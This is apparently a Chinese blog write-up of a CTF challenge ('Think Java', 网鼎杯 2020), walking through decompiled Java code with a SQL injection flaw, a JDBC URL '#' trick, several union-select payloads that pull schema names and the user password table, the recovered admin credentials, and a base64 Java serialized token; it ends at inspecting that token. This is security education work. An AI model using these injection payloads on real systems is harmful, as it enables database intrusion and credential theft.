初探Java

本文最后更新于 2026年3月11日下午

通过几个题目入门Java

[网鼎杯 2020 朱雀组]Think Java

题目给出了部分源码，先看Test.class

import io.swagger.annotations.ApiOperation;  //使用了swagger进行接口的测试

@CrossOrigin
@RestController  //标识这是一个控制器，且返回值直接序列化为 JSON 数据
@RequestMapping({"/common/test"})  //定义了这个控制器的基础 URL 路径。所有该类中的接口都需要加上这个前缀。
public class Test {
    @PostMapping({"/sqlDict"})  //定义具体的接口路径为 /sqlDict 请求方式必须是 POST
    @Access
    @ApiOperation("为了开发方便对应数据库字典查询")
    public ResponseResult sqlDict(String dbName) throws IOException {
        List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
        return ResponseResult.e(ResponseCode.OK, tables);
    }
}

从这里我们不难发现api接口，访问 http://xxx/swagger-ui.html

再看SqlDict.class

public class SqlDict {
    public static Connection getConnection(String dbName, String user, String pass) {
        Connection conn = null;

        try {
            Class.forName("com.mysql.jdbc.Driver");
            if (dbName != null && !dbName.equals("")) {
                dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
            } else {
                dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
            }

            if (user == null || dbName.equals("")) {
                user = "root";
            }

            if (pass == null || dbName.equals("")) {
                pass = "abc@12345";
            }

            conn = DriverManager.getConnection(dbName, user, pass);
        } catch (ClassNotFoundException var5) {
            var5.printStackTrace();
        } catch (SQLException var6) {
            var6.printStackTrace();
        }

        return conn;
    }

    public static List<Table> getTableData(String dbName, String user, String pass) {
        List<Table> Tables = new ArrayList();
        Connection conn = getConnection(dbName, user, pass);
        String TableName = "";

        try {
            Statement stmt = conn.createStatement();
            DatabaseMetaData metaData = conn.getMetaData();
            ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[]{"TABLE"});

            while(tableNames.next()) {
                TableName = tableNames.getString(3);
                Table table = new Table();
                String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
                ResultSet rs = stmt.executeQuery(sql);

                while(rs.next()) {
                    table.setTableDescribe(rs.getString("TABLE_COMMENT"));
                }

                table.setTableName(TableName);
                ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
                ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);

                String PK;
                for(PK = ""; rs2.next(); PK = rs2.getString(4)) {
                }

                while(data.next()) {
                    Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
                    table.list.add(row);
                }

                Tables.add(table);
            }
        } catch (SQLException var16) {
            var16.printStackTrace();
        }

        return Tables;
    }
}

那么我们不难发现SQL注入点

1	`String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";`

这里需要注意

1	`dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;`

所以在注入的同时需要满足 jdbc 协议的连接不能出错

JDBC 的 URL 也类似 http 请求中的 URL，也可以使用锚点 # 或者 ?

如：jdbc:mysql://mysqldbserver:3306/myapp#’ union select 2#

下面我们构造SQL注入语句

myapp#' union select group_concat(SCHEMA_NAME) from information_schema.schemata#
myapp#' union select group_concat(table_name) from information_schema.tables where table_schema=database()#
myapp#' union select group_concat(column_name) from information_schema.columns where table_name='user'#
myapp#' union select group_concat(pwd) from myapp.user#

成功获得用户名amdin密码admin@Rrrr_ctf_asde

登录成功，返回一个auth头

rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu

下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头，你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头，那么他就是这一段Java序列化的16进制。

这里用SerializationDumper工具查看16进制序列化内容